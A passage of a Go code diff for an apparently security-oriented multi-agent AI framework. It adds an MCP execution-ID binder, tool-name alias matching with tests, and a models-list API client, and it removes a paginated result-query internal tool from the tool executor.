outputChunk func(toolName, toolCallID, chunk string),
|
||||||
) (adk.ChatModelAgentMiddleware, error) {
|
) (adk.ChatModelAgentMiddleware, error) {
|
||||||
|
|||||||
@@ -9,3 +9,7 @@ var ErrInterruptContinue = errors.New("agent interrupt: continue with user-suppl
|
|||||||
// ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束,应由 handler 落库轨迹后
|
// ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束,应由 handler 落库轨迹后
|
||||||
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue 同级的「分段续跑」语义)。
|
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue 同级的「分段续跑」语义)。
|
||||||
var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
|
var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
|
||||||
|
|
||||||
|
// ErrEmptyResponseContinue 表示 Eino ADK 会话正常结束但未捕获到助手正文,应由 handler 落库轨迹后
|
||||||
|
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue / ErrTransientRetryContinue 同级)。
|
||||||
|
var ErrEmptyResponseContinue = errors.New("agent empty response: continue after persisting trace")
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
// MCPExecutionBinder maps ADK toolCallID → MCP monitor execution ID for a single agent run.
|
||||||
|
type MCPExecutionBinder struct {
|
||||||
|
byToolCall map[string]string
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewMCPExecutionBinder() *MCPExecutionBinder {
|
||||||
|
return &MCPExecutionBinder{byToolCall: make(map[string]string)}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b *MCPExecutionBinder) Bind(toolCallID, executionID string) {
|
||||||
|
if b == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tid := strings.TrimSpace(toolCallID)
|
||||||
|
eid := strings.TrimSpace(executionID)
|
||||||
|
if tid == "" || eid == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
b.byToolCall[tid] = eid
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b *MCPExecutionBinder) ExecutionID(toolCallID string) string {
|
||||||
|
if b == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return b.byToolCall[strings.TrimSpace(toolCallID)]
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestMCPExecutionBinder(t *testing.T) {
|
||||||
|
b := NewMCPExecutionBinder()
|
||||||
|
b.Bind("call-1", "exec-1")
|
||||||
|
if got := b.ExecutionID("call-1"); got != "exec-1" {
|
||||||
|
t.Fatalf("expected exec-1, got %q", got)
|
||||||
|
}
|
||||||
|
if got := b.ExecutionID("missing"); got != "" {
|
||||||
|
t.Fatalf("expected empty, got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -58,6 +58,7 @@ func RunDeepAgent(
|
|||||||
ag *agent.Agent,
|
ag *agent.Agent,
|
||||||
logger *zap.Logger,
|
logger *zap.Logger,
|
||||||
conversationID string,
|
conversationID string,
|
||||||
|
projectID string,
|
||||||
userMessage string,
|
userMessage string,
|
||||||
history []agent.ChatMessage,
|
history []agent.ChatMessage,
|
||||||
roleTools []string,
|
roleTools []string,
|
||||||
@@ -107,10 +108,12 @@ func RunDeepAgent(
|
|||||||
|
|
||||||
var mcpIDsMu sync.Mutex
|
var mcpIDsMu sync.Mutex
|
||||||
var mcpIDs []string
|
var mcpIDs []string
|
||||||
recorder := func(id string) {
|
mcpExecBinder := NewMCPExecutionBinder()
|
||||||
|
recorder := func(id, toolCallID string) {
|
||||||
if id == "" {
|
if id == "" {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
mcpExecBinder.Bind(toolCallID, id)
|
||||||
mcpIDsMu.Lock()
|
mcpIDsMu.Lock()
|
||||||
mcpIDs = append(mcpIDs, id)
|
mcpIDs = append(mcpIDs, id)
|
||||||
mcpIDsMu.Unlock()
|
mcpIDsMu.Unlock()
|
||||||
@@ -128,21 +131,6 @@ func RunDeepAgent(
|
|||||||
|
|
||||||
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
|
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
|
||||||
mainDefs := ag.ToolsForRole(roleTools)
|
mainDefs := ag.ToolsForRole(roleTools)
|
||||||
toolOutputChunk := func(toolName, toolCallID, chunk string) {
|
|
||||||
// When toolCallId is missing, frontend ignores tool_result_delta.
|
|
||||||
if progress == nil || toolCallID == "" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
progress("tool_result_delta", chunk, map[string]interface{}{
|
|
||||||
"toolName": toolName,
|
|
||||||
"toolCallId": toolCallID,
|
|
||||||
// index/total/iteration are optional for UI; we don't know them in this bridge.
|
|
||||||
"index": 0,
|
|
||||||
"total": 0,
|
|
||||||
"iteration": 0,
|
|
||||||
"source": "eino",
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
httpClient := &http.Client{
|
httpClient := &http.Client{
|
||||||
Timeout: 30 * time.Minute,
|
Timeout: 30 * time.Minute,
|
||||||
@@ -210,12 +198,12 @@ func RunDeepAgent(
|
|||||||
}
|
}
|
||||||
|
|
||||||
subDefs := ag.ToolsForRole(roleTools)
|
subDefs := ag.ToolsForRole(roleTools)
|
||||||
subTools, err := einomcp.ToolsFromDefinitions(ag, holder, subDefs, recorder, toolOutputChunk, toolInvokeNotify, id)
|
subTools, err := einomcp.ToolsFromDefinitions(ag, holder, subDefs, recorder, nil, toolInvokeNotify, id)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("子代理 %q 工具: %w", id, err)
|
return nil, fmt.Errorf("子代理 %q 工具: %w", id, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
subToolsForCfg, subPre, subToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWSub, subTools, einoLoc, skillsRoot, conversationID, logger)
|
subToolsForCfg, subPre, subToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWSub, subTools, einoLoc, skillsRoot, conversationID, projectID, logger)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
|
return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
|
||||||
}
|
}
|
||||||
@@ -233,7 +221,7 @@ func RunDeepAgent(
|
|||||||
}
|
}
|
||||||
if einoSkillMW != nil {
|
if einoSkillMW != nil {
|
||||||
if einoFSTools && einoLoc != nil {
|
if einoFSTools && einoLoc != nil {
|
||||||
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk)
|
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
|
||||||
if fsErr != nil {
|
if fsErr != nil {
|
||||||
return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr)
|
return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr)
|
||||||
}
|
}
|
||||||
@@ -320,11 +308,11 @@ func RunDeepAgent(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, toolOutputChunk, toolInvokeNotify, orchestratorName)
|
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, orchestratorName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
mainToolsForCfg, mainOrchestratorPre, mainToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, logger)
|
mainToolsForCfg, mainOrchestratorPre, mainToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, projectID, logger)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -371,7 +359,7 @@ func RunDeepAgent(
|
|||||||
inner: einoLoc,
|
inner: einoLoc,
|
||||||
invokeNotify: toolInvokeNotify,
|
invokeNotify: toolInvokeNotify,
|
||||||
einoAgentName: orchestratorName,
|
einoAgentName: orchestratorName,
|
||||||
outputChunk: toolOutputChunk,
|
outputChunk: nil,
|
||||||
recordMonitor: einoExecMonitor,
|
recordMonitor: einoExecMonitor,
|
||||||
toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg),
|
toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg),
|
||||||
}
|
}
|
||||||
@@ -438,7 +426,7 @@ func RunDeepAgent(
|
|||||||
// 构建 filesystem 中间件(与 Deep sub-agent 一致)
|
// 构建 filesystem 中间件(与 Deep sub-agent 一致)
|
||||||
var peFsMw adk.ChatModelAgentMiddleware
|
var peFsMw adk.ChatModelAgentMiddleware
|
||||||
if einoSkillMW != nil && einoFSTools && einoLoc != nil {
|
if einoSkillMW != nil && einoFSTools && einoLoc != nil {
|
||||||
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk)
|
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err)
|
return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err)
|
||||||
}
|
}
|
||||||
@@ -565,6 +553,7 @@ func RunDeepAgent(
|
|||||||
McpIDs: &mcpIDs,
|
McpIDs: &mcpIDs,
|
||||||
FilesystemMonitorAgent: ag,
|
FilesystemMonitorAgent: ag,
|
||||||
FilesystemMonitorRecord: recorder,
|
FilesystemMonitorRecord: recorder,
|
||||||
|
MCPExecutionBinder: mcpExecBinder,
|
||||||
ToolInvokeNotify: toolInvokeNotify,
|
ToolInvokeNotify: toolInvokeNotify,
|
||||||
DA: da,
|
DA: da,
|
||||||
ModelFacingTrace: modelFacingTrace,
|
ModelFacingTrace: modelFacingTrace,
|
||||||
|
|||||||
@@ -0,0 +1,72 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// expandAlwaysVisibleNameSet 将配置中的常驻工具名展开为可匹配运行时工具名的集合。
|
||||||
|
// 支持:内置短名 read_file;外部 mcp::tool;运行时 mcp__tool(OpenAI/Eino 命名)。
|
||||||
|
func expandAlwaysVisibleNameSet(names []string) map[string]struct{} {
|
||||||
|
set := make(map[string]struct{}, len(names)*3)
|
||||||
|
add := func(name string) {
|
||||||
|
n := strings.TrimSpace(strings.ToLower(name))
|
||||||
|
if n == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
set[n] = struct{}{}
|
||||||
|
}
|
||||||
|
for _, raw := range names {
|
||||||
|
n := strings.TrimSpace(strings.ToLower(raw))
|
||||||
|
if n == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
add(n)
|
||||||
|
if mcp, tool, ok := strings.Cut(n, "::"); ok && mcp != "" && tool != "" {
|
||||||
|
// 外部工具用 mcp::tool 配置时只展开运行时 mcp__tool,避免短名误伤其它 MCP 同名工具。
|
||||||
|
add(mcp + "__" + tool)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if idx := strings.LastIndex(n, "__"); idx > 0 {
|
||||||
|
mcp, tool := n[:idx], n[idx+2:]
|
||||||
|
if mcp != "" && tool != "" {
|
||||||
|
add(mcp + "::" + tool)
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return set
|
||||||
|
}
|
||||||
|
|
||||||
|
// toolMatchesAlwaysVisible 判断运行时工具名是否命中常驻白名单(含别名)。
|
||||||
|
func toolMatchesAlwaysVisible(runtimeName string, nameSet map[string]struct{}) bool {
|
||||||
|
if len(nameSet) == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
name := strings.TrimSpace(strings.ToLower(runtimeName))
|
||||||
|
if name == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if _, ok := nameSet[name]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if mcp, tool, ok := strings.Cut(name, "::"); ok && mcp != "" && tool != "" {
|
||||||
|
if _, ok := nameSet[mcp+"__"+tool]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if _, ok := nameSet[tool]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if idx := strings.LastIndex(name, "__"); idx > 0 {
|
||||||
|
mcp, tool := name[:idx], name[idx+2:]
|
||||||
|
if mcp != "" && tool != "" {
|
||||||
|
if _, ok := nameSet[mcp+"::"+tool]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if _, ok := nameSet[tool]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestToolMatchesAlwaysVisible_ExternalAliases(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
set := expandAlwaysVisibleNameSet([]string{"zhidemai::discount_search", "read_file"})
|
||||||
|
|
||||||
|
cases := []struct {
|
||||||
|
runtime string
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{"zhidemai__discount_search", true},
|
||||||
|
{"zhidemai::discount_search", true},
|
||||||
|
{"read_file", true},
|
||||||
|
{"zhidemai__product_search_pro", false},
|
||||||
|
{"github__discount_search", false},
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
if got := toolMatchesAlwaysVisible(tc.runtime, set); got != tc.want {
|
||||||
|
t.Fatalf("toolMatchesAlwaysVisible(%q) = %v, want %v", tc.runtime, got, tc.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExpandAlwaysVisibleNameSet_LegacyShortName(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
set := expandAlwaysVisibleNameSet([]string{"discount_search"})
|
||||||
|
if !toolMatchesAlwaysVisible("zhidemai__discount_search", set) {
|
||||||
|
t.Fatal("legacy short name should match external runtime tool")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -8,6 +8,7 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"sort"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
"unicode/utf8"
|
"unicode/utf8"
|
||||||
@@ -535,3 +536,81 @@ func (c *Client) ChatCompletionStreamWithToolCalls(
|
|||||||
|
|
||||||
return full.String(), toolCalls, finishReason, nil
|
return full.String(), toolCalls, finishReason, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ModelsListResponse 表示 OpenAI 兼容 GET /models 响应。
|
||||||
|
type ModelsListResponse struct {
|
||||||
|
Object string `json:"object"`
|
||||||
|
Data []struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Object string `json:"object,omitempty"`
|
||||||
|
OwnedBy string `json:"owned_by,omitempty"`
|
||||||
|
} `json:"data"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListModels 调用 GET {baseURL}/models 获取可用模型 id 列表(按字典序)。
|
||||||
|
func (c *Client) ListModels(ctx context.Context) ([]string, error) {
|
||||||
|
if c == nil {
|
||||||
|
return nil, fmt.Errorf("openai client is not initialized")
|
||||||
|
}
|
||||||
|
if c.config == nil {
|
||||||
|
return nil, fmt.Errorf("openai config is nil")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(c.config.APIKey) == "" {
|
||||||
|
return nil, fmt.Errorf("openai api key is empty")
|
||||||
|
}
|
||||||
|
if c.isClaude() {
|
||||||
|
return nil, fmt.Errorf("claude provider does not support models list API")
|
||||||
|
}
|
||||||
|
|
||||||
|
baseURL := strings.TrimSuffix(c.config.BaseURL, "/")
|
||||||
|
if baseURL == "" {
|
||||||
|
baseURL = "https://api.openai.com/v1"
|
||||||
|
}
|
||||||
|
|
||||||
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, baseURL+"/models", nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("build openai models request: %w", err)
|
||||||
|
}
|
||||||
|
req.Header.Set("Authorization", "Bearer "+c.config.APIKey)
|
||||||
|
|
||||||
|
resp, err := c.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("call openai models api: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
respBody, err := io.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("read openai models response: %w", err)
|
||||||
|
}
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return nil, &APIError{
|
||||||
|
StatusCode: resp.StatusCode,
|
||||||
|
Body: string(respBody),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var list ModelsListResponse
|
||||||
|
if err := json.Unmarshal(respBody, &list); err != nil {
|
||||||
|
return nil, fmt.Errorf("decode openai models response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
seen := make(map[string]struct{}, len(list.Data))
|
||||||
|
models := make([]string, 0, len(list.Data))
|
||||||
|
for _, item := range list.Data {
|
||||||
|
id := strings.TrimSpace(item.ID)
|
||||||
|
if id == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := seen[id]; ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[id] = struct{}{}
|
||||||
|
models = append(models, id)
|
||||||
|
}
|
||||||
|
sort.Strings(models)
|
||||||
|
if len(models) == 0 {
|
||||||
|
return nil, fmt.Errorf("models list is empty")
|
||||||
|
}
|
||||||
|
return models, nil
|
||||||
|
}
|
||||||
|
|||||||
+11
-247
@@ -16,7 +16,6 @@ import (
|
|||||||
|
|
||||||
"cyberstrike-ai/internal/config"
|
"cyberstrike-ai/internal/config"
|
||||||
"cyberstrike-ai/internal/mcp"
|
"cyberstrike-ai/internal/mcp"
|
||||||
"cyberstrike-ai/internal/storage"
|
|
||||||
|
|
||||||
"github.com/creack/pty"
|
"github.com/creack/pty"
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
@@ -33,44 +32,25 @@ var ToolOutputCallbackCtxKey = toolOutputCallbackCtxKey{}
|
|||||||
|
|
||||||
// Executor 安全工具执行器
|
// Executor 安全工具执行器
|
||||||
type Executor struct {
|
type Executor struct {
|
||||||
config *config.SecurityConfig
|
config *config.SecurityConfig
|
||||||
toolIndex map[string]*config.ToolConfig // 工具索引,用于 O(1) 查找
|
toolIndex map[string]*config.ToolConfig // 工具索引,用于 O(1) 查找
|
||||||
mcpServer *mcp.Server
|
mcpServer *mcp.Server
|
||||||
logger *zap.Logger
|
logger *zap.Logger
|
||||||
resultStorage ResultStorage // 结果存储(用于查询工具)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ResultStorage 结果存储接口(直接使用 storage 包的类型)
|
|
||||||
type ResultStorage interface {
|
|
||||||
SaveResult(executionID string, toolName string, result string) error
|
|
||||||
GetResult(executionID string) (string, error)
|
|
||||||
GetResultPage(executionID string, page int, limit int) (*storage.ResultPage, error)
|
|
||||||
SearchResult(executionID string, keyword string, useRegex bool) ([]string, error)
|
|
||||||
FilterResult(executionID string, filter string, useRegex bool) ([]string, error)
|
|
||||||
GetResultMetadata(executionID string) (*storage.ResultMetadata, error)
|
|
||||||
GetResultPath(executionID string) string
|
|
||||||
DeleteResult(executionID string) error
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewExecutor 创建新的执行器
|
// NewExecutor 创建新的执行器
|
||||||
func NewExecutor(cfg *config.SecurityConfig, mcpServer *mcp.Server, logger *zap.Logger) *Executor {
|
func NewExecutor(cfg *config.SecurityConfig, mcpServer *mcp.Server, logger *zap.Logger) *Executor {
|
||||||
executor := &Executor{
|
executor := &Executor{
|
||||||
config: cfg,
|
config: cfg,
|
||||||
toolIndex: make(map[string]*config.ToolConfig),
|
toolIndex: make(map[string]*config.ToolConfig),
|
||||||
mcpServer: mcpServer,
|
mcpServer: mcpServer,
|
||||||
logger: logger,
|
logger: logger,
|
||||||
resultStorage: nil, // 稍后通过 SetResultStorage 设置
|
|
||||||
}
|
}
|
||||||
// 构建工具索引
|
// 构建工具索引
|
||||||
executor.buildToolIndex()
|
executor.buildToolIndex()
|
||||||
return executor
|
return executor
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetResultStorage 设置结果存储
|
|
||||||
func (e *Executor) SetResultStorage(storage ResultStorage) {
|
|
||||||
e.resultStorage = storage
|
|
||||||
}
|
|
||||||
|
|
||||||
// buildToolIndex 构建工具索引,将 O(n) 查找优化为 O(1)
|
// buildToolIndex 构建工具索引,将 O(n) 查找优化为 O(1)
|
||||||
func (e *Executor) buildToolIndex() {
|
func (e *Executor) buildToolIndex() {
|
||||||
e.toolIndex = make(map[string]*config.ToolConfig)
|
e.toolIndex = make(map[string]*config.ToolConfig)
|
||||||
@@ -1245,238 +1225,22 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
|
|||||||
|
|
||||||
// executeInternalTool 执行内部工具(不执行外部命令)
|
// executeInternalTool 执行内部工具(不执行外部命令)
|
||||||
func (e *Executor) executeInternalTool(ctx context.Context, toolName string, command string, args map[string]interface{}) (*mcp.ToolResult, error) {
|
func (e *Executor) executeInternalTool(ctx context.Context, toolName string, command string, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
// 提取内部工具类型(去掉 "internal:" 前缀)
|
|
||||||
internalToolType := strings.TrimPrefix(command, "internal:")
|
internalToolType := strings.TrimPrefix(command, "internal:")
|
||||||
|
e.logger.Warn("未知的内部工具",
|
||||||
e.logger.Info("执行内部工具",
|
|
||||||
zap.String("toolName", toolName),
|
zap.String("toolName", toolName),
|
||||||
zap.String("internalToolType", internalToolType),
|
zap.String("internalToolType", internalToolType),
|
||||||
zap.Any("args", args),
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// 根据内部工具类型分发处理
|
|
||||||
switch internalToolType {
|
|
||||||
case "query_execution_result":
|
|
||||||
return e.executeQueryExecutionResult(ctx, args)
|
|
||||||
default:
|
|
||||||
return &mcp.ToolResult{
|
|
||||||
Content: []mcp.Content{
|
|
||||||
{
|
|
||||||
Type: "text",
|
|
||||||
Text: fmt.Sprintf("错误: 未知的内部工具类型: %s", internalToolType),
|
|
||||||
},
|
|
||||||
},
|
|
||||||
IsError: true,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// executeQueryExecutionResult 执行查询执行结果工具
|
|
||||||
func (e *Executor) executeQueryExecutionResult(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
|
||||||
// 获取 execution_id 参数
|
|
||||||
executionID, ok := args["execution_id"].(string)
|
|
||||||
if !ok || executionID == "" {
|
|
||||||
return &mcp.ToolResult{
|
|
||||||
Content: []mcp.Content{
|
|
||||||
{
|
|
||||||
Type: "text",
|
|
||||||
Text: "错误: execution_id 参数必需且不能为空",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
IsError: true,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取可选参数
|
|
||||||
page := 1
|
|
||||||
if p, ok := args["page"].(float64); ok {
|
|
||||||
page = int(p)
|
|
||||||
}
|
|
||||||
if page < 1 {
|
|
||||||
page = 1
|
|
||||||
}
|
|
||||||
|
|
||||||
limit := 100
|
|
||||||
if l, ok := args["limit"].(float64); ok {
|
|
||||||
limit = int(l)
|
|
||||||
}
|
|
||||||
if limit < 1 {
|
|
||||||
limit = 100
|
|
||||||
}
|
|
||||||
if limit > 500 {
|
|
||||||
limit = 500 // 限制最大每页行数
|
|
||||||
}
|
|
||||||
|
|
||||||
search := ""
|
|
||||||
if s, ok := args["search"].(string); ok {
|
|
||||||
search = s
|
|
||||||
}
|
|
||||||
|
|
||||||
filter := ""
|
|
||||||
if f, ok := args["filter"].(string); ok {
|
|
||||||
filter = f
|
|
||||||
}
|
|
||||||
|
|
||||||
useRegex := false
|
|
||||||
if r, ok := args["use_regex"].(bool); ok {
|
|
||||||
useRegex = r
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查结果存储是否可用
|
|
||||||
if e.resultStorage == nil {
|
|
||||||
return &mcp.ToolResult{
|
|
||||||
Content: []mcp.Content{
|
|
||||||
{
|
|
||||||
Type: "text",
|
|
||||||
Text: "错误: 结果存储未初始化",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
IsError: true,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 执行查询
|
|
||||||
var resultPage *storage.ResultPage
|
|
||||||
var err error
|
|
||||||
|
|
||||||
if search != "" {
|
|
||||||
// 搜索模式
|
|
||||||
matchedLines, err := e.resultStorage.SearchResult(executionID, search, useRegex)
|
|
||||||
if err != nil {
|
|
||||||
return &mcp.ToolResult{
|
|
||||||
Content: []mcp.Content{
|
|
||||||
{
|
|
||||||
Type: "text",
|
|
||||||
Text: fmt.Sprintf("搜索失败: %v", err),
|
|
||||||
},
|
|
||||||
},
|
|
||||||
IsError: true,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
// 对搜索结果进行分页
|
|
||||||
resultPage = paginateLines(matchedLines, page, limit)
|
|
||||||
} else if filter != "" {
|
|
||||||
// 过滤模式
|
|
||||||
filteredLines, err := e.resultStorage.FilterResult(executionID, filter, useRegex)
|
|
||||||
if err != nil {
|
|
||||||
return &mcp.ToolResult{
|
|
||||||
Content: []mcp.Content{
|
|
||||||
{
|
|
||||||
Type: "text",
|
|
||||||
Text: fmt.Sprintf("过滤失败: %v", err),
|
|
||||||
},
|
|
||||||
},
|
|
||||||
IsError: true,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
// 对过滤结果进行分页
|
|
||||||
resultPage = paginateLines(filteredLines, page, limit)
|
|
||||||
} else {
|
|
||||||
// 普通分页查询
|
|
||||||
resultPage, err = e.resultStorage.GetResultPage(executionID, page, limit)
|
|
||||||
if err != nil {
|
|
||||||
return &mcp.ToolResult{
|
|
||||||
Content: []mcp.Content{
|
|
||||||
{
|
|
||||||
Type: "text",
|
|
||||||
Text: fmt.Sprintf("查询失败: %v", err),
|
|
||||||
},
|
|
||||||
},
|
|
||||||
IsError: true,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取元信息
|
|
||||||
metadata, err := e.resultStorage.GetResultMetadata(executionID)
|
|
||||||
if err != nil {
|
|
||||||
// 元信息获取失败不影响查询结果
|
|
||||||
e.logger.Warn("获取结果元信息失败", zap.Error(err))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 格式化返回结果
|
|
||||||
var sb strings.Builder
|
|
||||||
sb.WriteString(fmt.Sprintf("查询结果 (执行ID: %s)\n", executionID))
|
|
||||||
|
|
||||||
if metadata != nil {
|
|
||||||
sb.WriteString(fmt.Sprintf("工具: %s | 大小: %d 字节 (%.2f KB) | 总行数: %d\n",
|
|
||||||
metadata.ToolName, metadata.TotalSize, float64(metadata.TotalSize)/1024, metadata.TotalLines))
|
|
||||||
}
|
|
||||||
|
|
||||||
sb.WriteString(fmt.Sprintf("第 %d/%d 页,每页 %d 行,共 %d 行\n\n",
|
|
||||||
resultPage.Page, resultPage.TotalPages, resultPage.Limit, resultPage.TotalLines))
|
|
||||||
|
|
||||||
if len(resultPage.Lines) == 0 {
|
|
||||||
sb.WriteString("没有找到匹配的结果。\n")
|
|
||||||
} else {
|
|
||||||
for i, line := range resultPage.Lines {
|
|
||||||
lineNum := (resultPage.Page-1)*resultPage.Limit + i + 1
|
|
||||||
sb.WriteString(fmt.Sprintf("%d: %s\n", lineNum, line))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sb.WriteString("\n")
|
|
||||||
if resultPage.Page < resultPage.TotalPages {
|
|
||||||
sb.WriteString(fmt.Sprintf("提示: 使用 page=%d 查看下一页", resultPage.Page+1))
|
|
||||||
if search != "" {
|
|
||||||
sb.WriteString(fmt.Sprintf(",或使用 search=\"%s\" 继续搜索", search))
|
|
||||||
if useRegex {
|
|
||||||
sb.WriteString(" (正则模式)")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if filter != "" {
|
|
||||||
sb.WriteString(fmt.Sprintf(",或使用 filter=\"%s\" 继续过滤", filter))
|
|
||||||
if useRegex {
|
|
||||||
sb.WriteString(" (正则模式)")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
sb.WriteString("\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
return &mcp.ToolResult{
|
return &mcp.ToolResult{
|
||||||
Content: []mcp.Content{
|
Content: []mcp.Content{
|
||||||
{
|
{
|
||||||
Type: "text",
|
Type: "text",
|
||||||
Text: sb.String(),
|
Text: fmt.Sprintf("错误: 未知的内部工具类型: %s", internalToolType),
|
||||||
},
|
},
